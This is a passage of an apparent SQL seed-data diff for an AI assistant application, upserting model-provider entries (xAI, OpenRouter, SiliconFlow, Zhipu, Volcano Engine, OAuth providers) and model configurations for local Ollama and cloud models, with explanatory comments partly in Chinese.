api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('xai', 'xAI (Grok)', 'xai-', 'OpenAIChatModel', '', 'https://api.x.ai/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('openrouter', 'OpenRouter', 'sk-or-', 'OpenAIChatModel', '', 'https://openrouter.ai/api/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('siliconflow-cn', '硅基流动 (China)', 'sk-', 'OpenAIChatModel', '', 'https://api.siliconflow.cn/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('siliconflow-intl', '硅基流动 (International)', 'sk-', 'OpenAIChatModel', '', 'https://api.siliconflow.com/v1', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('opencode', 'OpenCode', '', 'OpenAIChatModel', '', 'https://opencode.ai/zen/v1', '{}', FALSE, FALSE, FALSE, TRUE, TRUE, FALSE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-cn', 'Zhipu AI (China)', '', 'OpenAIChatModel', '', 'https://open.bigmodel.cn/api/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-intl', 'Zhipu AI (International)', '', 'OpenAIChatModel', '', 'https://api.z.ai/api/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('volcengine', 'Volcano Engine (火山引擎)', '', 'OpenAIChatModel', '', 'https://ark.cn-beijing.volces.com/api/v3', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, api_key_prefix=EXCLUDED.api_key_prefix, chat_model=EXCLUDED.chat_model, api_key=EXCLUDED.api_key, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, is_custom=EXCLUDED.is_custom, is_local=EXCLUDED.is_local, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('volcengine-plan', 'Volcano Engine Coding Plan (火山方舟代码计划)', '', 'OpenAIChatModel', '', 'https://ark.cn-beijing.volces.com/api/coding/v3', '{}', FALSE, FALSE, TRUE, TRUE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-cn-codingplan', 'Zhipu Coding Plan (智谱编码套餐)', '', 'OpenAIChatModel', '', 'https://open.bigmodel.cn/api/coding/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, create_time, update_time) +VALUES ('zhipu-intl-codingplan', 'Zhipu Coding Plan (智谱编码套餐 国际版)', '', 'OpenAIChatModel', '', 'https://api.z.ai/api/coding/paas/v4', '{"completionsPath":"/chat/completions"}', FALSE, FALSE, FALSE, FALSE, TRUE, TRUE, NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, generate_kwargs=EXCLUDED.generate_kwargs, support_model_discovery=EXCLUDED.support_model_discovery, support_connection_check=EXCLUDED.support_connection_check, freeze_url=EXCLUDED.freeze_url, require_api_key=EXCLUDED.require_api_key, update_time=EXCLUDED.update_time; + +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, auth_type, create_time, update_time) +VALUES ('openai-chatgpt', 'OpenAI ChatGPT (OAuth)', '', 'ChatGPTChatModel', '', 'https://chatgpt.com/backend-api', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, FALSE, 'oauth', NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, auth_type=EXCLUDED.auth_type, update_time=EXCLUDED.update_time; + +-- RFC-062:Anthropic Claude Code OAuth 订阅 provider。凭据存储在本地磁盘 +-- (macOS Keychain 或 ~/.claude/.credentials.json),不写入该行。 +INSERT INTO mate_model_provider (provider_id, name, api_key_prefix, chat_model, api_key, base_url, generate_kwargs, is_custom, is_local, support_model_discovery, support_connection_check, freeze_url, require_api_key, auth_type, create_time, update_time) +VALUES ('anthropic-claude-code', 'Anthropic Claude Code (OAuth 订阅)', '', 'ClaudeCodeChatModel', '', 'https://api.anthropic.com', '{}', FALSE, FALSE, FALSE, FALSE, TRUE, FALSE, 'oauth', NOW(), NOW()) +ON CONFLICT (provider_id) DO UPDATE SET name=EXCLUDED.name, chat_model=EXCLUDED.chat_model, base_url=EXCLUDED.base_url, auth_type=EXCLUDED.auth_type, update_time=EXCLUDED.update_time; + +-- ==================== 本地模型预配置(Ollama,默认禁用) ==================== +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000300, 'Gemma 3', 'ollama', 'gemma3:latest', 'Google Gemma 3,轻量高效,适合本地推理', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000301, 'Qwen 3', 'ollama', 'qwen3:latest', '通义千问 3,中文能力出色', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000302, 'Llama 3.1', 'ollama', 'llama3.1:latest', 'Meta Llama 3.1,通用能力强', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000303, 'DeepSeek R1', 'ollama', 'deepseek-r1:latest', 'DeepSeek R1 推理模型', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000304, 'Mistral', 'ollama', 'mistral:latest', 'Mistral 7B,高效推理', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000305, 'Gemma 4', 'ollama', 'gemma4:latest', 'Google Gemma 4,新一代高性能本地模型', 0.7, 4096, 0.8, TRUE, FALSE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, update_time=EXCLUDED.update_time; + +-- ==================== 云端默认模型配置 ==================== +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000001, 'Qwen Plus', 'dashscope', 'qwen-plus', '默认均衡模型,适合日常问答与工具调用。', 0.7, 4096, 0.8, TRUE, TRUE, TRUE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000002, 'Qwen Max', 'dashscope', 'qwen-max', '更强推理能力,适合复杂任务。', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000003, 'Qwen Turbo', 'dashscope', 'qwen-turbo', '低延迟模型,适合高频交互。', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES (1000000004, 'Qwen Coder Plus', 'dashscope', 'qwen-coder-plus', '代码生成与解释场景优先。', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0) +ON CONFLICT (id) DO UPDATE SET name=EXCLUDED.name, provider=EXCLUDED.provider, model_name=EXCLUDED.model_name, description=EXCLUDED.description, temperature=EXCLUDED.temperature, max_tokens=EXCLUDED.max_tokens, top_p=EXCLUDED.top_p, builtin=EXCLUDED.builtin, enabled=EXCLUDED.enabled, is_default=EXCLUDED.is_default, update_time=EXCLUDED.update_time, deleted=EXCLUDED.deleted; + +INSERT INTO mate_model_config (id, name, provider, model_name, description, temperature, max_tokens, top_p, builtin, enabled, is_default, create_time, update_time, deleted) +VALUES +(1000000101, 'Qwen3 Max', 'dashscope', 'qwen3-max', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000102, 'Qwen3 235B A22B Thinking', 'dashscope', 'qwen3-235b-a22b-thinking-2507', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000103, 'DeepSeek-V3.2', 'dashscope', 'deepseek-v3.2', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- 注意: qwen3-plus / qwen3.5-plus / qwen3.5-max / qwen3.6-* 等带点号的版本只在 OpenAI 兼容端点上线。 +-- DashScope native(text-generation/generation)调用会返回 400 InvalidParameter。 +-- 这些模型挂在 dashscope-compat provider 下,复用同一把 sk- key 但走 compatible-mode/v1 端点。 +(1000000173, 'Qwen Long', 'dashscope', 'qwen-long', '长文本模型,支持超长上下文', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000174, 'Qwen Plus (latest)', 'dashscope', 'qwen-plus-latest', '通义千问 Plus 最新稳定快照,自动跟随官方更新', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000175, 'Qwen Max (latest)', 'dashscope', 'qwen-max-latest', '通义千问 Max 最新稳定快照,最强推理能力', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000176, 'Qwen Turbo (latest)', 'dashscope', 'qwen-turbo-latest', '通义千问 Turbo 最新稳定快照,低延迟、高并发', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +-- DashScope 兼容模式专属模型(点号版本号系列)—— 与 dashscope provider 共用同一把 sk- key。 +-- 仅收录在通用账号上确实可调通的 -plus 版本;-max / -vl-max 在 model market 可见但 API 返回 404。 +(1000000601, 'Qwen3.6 Plus', 'dashscope-compat', 'qwen3.6-plus', '通义千问 3.6 Plus 旗舰,平衡推理与速度(兼容模式专属)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000603, 'Qwen3.5 Plus', 'dashscope-compat', 'qwen3.5-plus', '通义千问 3.5 Plus(兼容模式专属)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000605, 'Qwen3 VL Plus', 'dashscope-compat', 'qwen3-vl-plus', '通义千问 3 视觉理解 Plus,支持图像、视频输入(兼容模式专属)', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000104, 'Qwen3.5-122B-A10B', 'modelscope', 'Qwen/Qwen3.5-122B-A10B', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000105, 'GLM-5', 'modelscope', 'ZhipuAI/GLM-5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000106, 'Qwen3.5 Plus', 'aliyun-codingplan', 'qwen3.5-plus', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000107, 'GLM-5', 'aliyun-codingplan', 'glm-5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000108, 'GLM-4.7', 'aliyun-codingplan', 'glm-4.7', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000109, 'MiniMax M2.5', 'aliyun-codingplan', 'MiniMax-M2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000110, 'Kimi K2.5', 'aliyun-codingplan', 'kimi-k2.5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000111, 'Qwen3 Max 2026-01-23', 'aliyun-codingplan', 'qwen3-max-2026-01-23', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000112, 'Qwen3 Coder Next', 'aliyun-codingplan', 'qwen3-coder-next', '', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000113, 'Qwen3 Coder Plus', 'aliyun-codingplan', 'qwen3-coder-plus', '', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000162, 'Qwen3.6 Plus', 'aliyun-codingplan', 'qwen3.6-plus', '阿里云编码套餐 — Qwen3.6 Plus 旗舰', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000241, 'Qwen3.6 Plus', 'aliyun-codingplan-intl', 'qwen3.6-plus', '阿里云编码套餐(国际版) — Qwen3.6 Plus 旗舰', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000242, 'Qwen3.5 Plus', 'aliyun-codingplan-intl', 'qwen3.5-plus', '阿里云编码套餐(国际版) — Qwen3.5 均衡旗舰', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000243, 'GLM-5', 'aliyun-codingplan-intl', 'glm-5', '阿里云编码套餐(国际版) — GLM-5 由 DashScope 托管', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000244, 'GLM-4.7', 'aliyun-codingplan-intl', 'glm-4.7', '阿里云编码套餐(国际版) — GLM-4.7 由 DashScope 托管', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000245, 'MiniMax M2.5', 'aliyun-codingplan-intl', 'MiniMax-M2.5', '阿里云编码套餐(国际版) — MiniMax M2.5 由 DashScope 托管', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000246, 'Kimi K2.5', 'aliyun-codingplan-intl', 'kimi-k2.5', '阿里云编码套餐(国际版) — Kimi K2.5 由 DashScope 托管', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000247, 'Qwen3 Max 2026-01-23', 'aliyun-codingplan-intl', 'qwen3-max-2026-01-23', '阿里云编码套餐(国际版) — Qwen3 Max 锁定快照', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000248, 'Qwen3 Coder Next', 'aliyun-codingplan-intl', 'qwen3-coder-next', '阿里云编码套餐(国际版) — Qwen3 Coder Next 智能体编码', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000249, 'Qwen3 Coder Plus', 'aliyun-codingplan-intl', 'qwen3-coder-plus', '阿里云编码套餐(国际版) — Qwen3 Coder Plus 智能体编码', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000400, 'Qwen 3.6 Plus', 'bailian-team', 'qwen3.6-plus', '百炼团队套餐 — 千问旗舰推理模型,支持视觉理解与文本生成', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000401, 'DeepSeek V3.2', 'bailian-team', 'deepseek-v3.2', '百炼团队套餐 — DeepSeek 最新推理模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000402, 'GLM-5', 'bailian-team', 'glm-5', '百炼团队套餐 — 智谱 GLM-5 文本生成模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000403, 'Qwen Image 2.0', 'bailian-team', 'qwen-image-2.0', '百炼团队套餐 — 千问图片生成模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000404, 'Qwen Image 2.0 Pro', 'bailian-team', 'qwen-image-2.0-pro', '百炼团队套餐 — 千问图片生成旗舰模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000405, 'Wan 2.7 Image', 'bailian-team', 'wan2.7-image', '百炼团队套餐 — 万相图片生成模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000406, 'Wan 2.7 Image Pro', 'bailian-team', 'wan2.7-image-pro', '百炼团队套餐 — 万相图片生成旗舰模型', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000407, 'Qwen 3.5 Plus', 'bailian-team', 'qwen3.5-plus', '百炼团队套餐 — Qwen3.5 均衡旗舰,混合思考,128K 上下文', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000408, 'Qwen 3.5 Flash', 'bailian-team', 'qwen3.5-flash', '百炼团队套餐 — Qwen3.5 快速版,低延迟、高并发', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000409, 'Qwen3 VL Plus', 'bailian-team', 'qwen3-vl-plus', '百炼团队套餐 — Qwen3 视觉旗舰,支持图像与视频理解', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000410, 'Qwen3 VL Flash', 'bailian-team', 'qwen3-vl-flash', '百炼团队套餐 — Qwen3 视觉快速版,高吞吐视觉调用', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000411, 'Qwen3 Coder Plus', 'bailian-team', 'qwen3-coder-plus', '百炼团队套餐 — Qwen3 编码旗舰,智能体代码编辑与工具调用', 0.2, 8192, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000412, 'Qwen 3.6 Plus 2026-04-02', 'bailian-team', 'qwen3.6-plus-2026-04-02', '百炼团队套餐 — Qwen 3.6 Plus 2026-04-02 锁定快照', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000413, 'Qwen 3.6 Max (preview)', 'bailian-team', 'qwen3.6-max-preview', '百炼团队套餐 — Qwen3.6 Max 预览版,3.6 系列最强推理', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000414, 'Qwen 3.6 Flash', 'bailian-team', 'qwen3.6-flash', '百炼团队套餐 — Qwen3.6 快速版,混合思考默认开启', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000415, 'Qwen 3.6 Flash 2026-04-16', 'bailian-team', 'qwen3.6-flash-2026-04-16', '百炼团队套餐 — Qwen 3.6 Flash 2026-04-16 锁定快照', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000416, 'Qwen 3.5 Omni Plus', 'bailian-team', 'qwen3.5-omni-plus', '百炼团队套餐 — Qwen3.5 全模态版,文本/视觉/音频输入输出', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000114, 'GPT-5.2', 'openai', 'gpt-5.2', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000115, 'GPT-5', 'openai', 'gpt-5', '', 0.7, 4096, 0.8, TRUE, TRUE, FALSE, NOW(), NOW(), 0), +(1000000116, 'GPT-5 Mini', 'openai', 'gpt-5-mini', '', 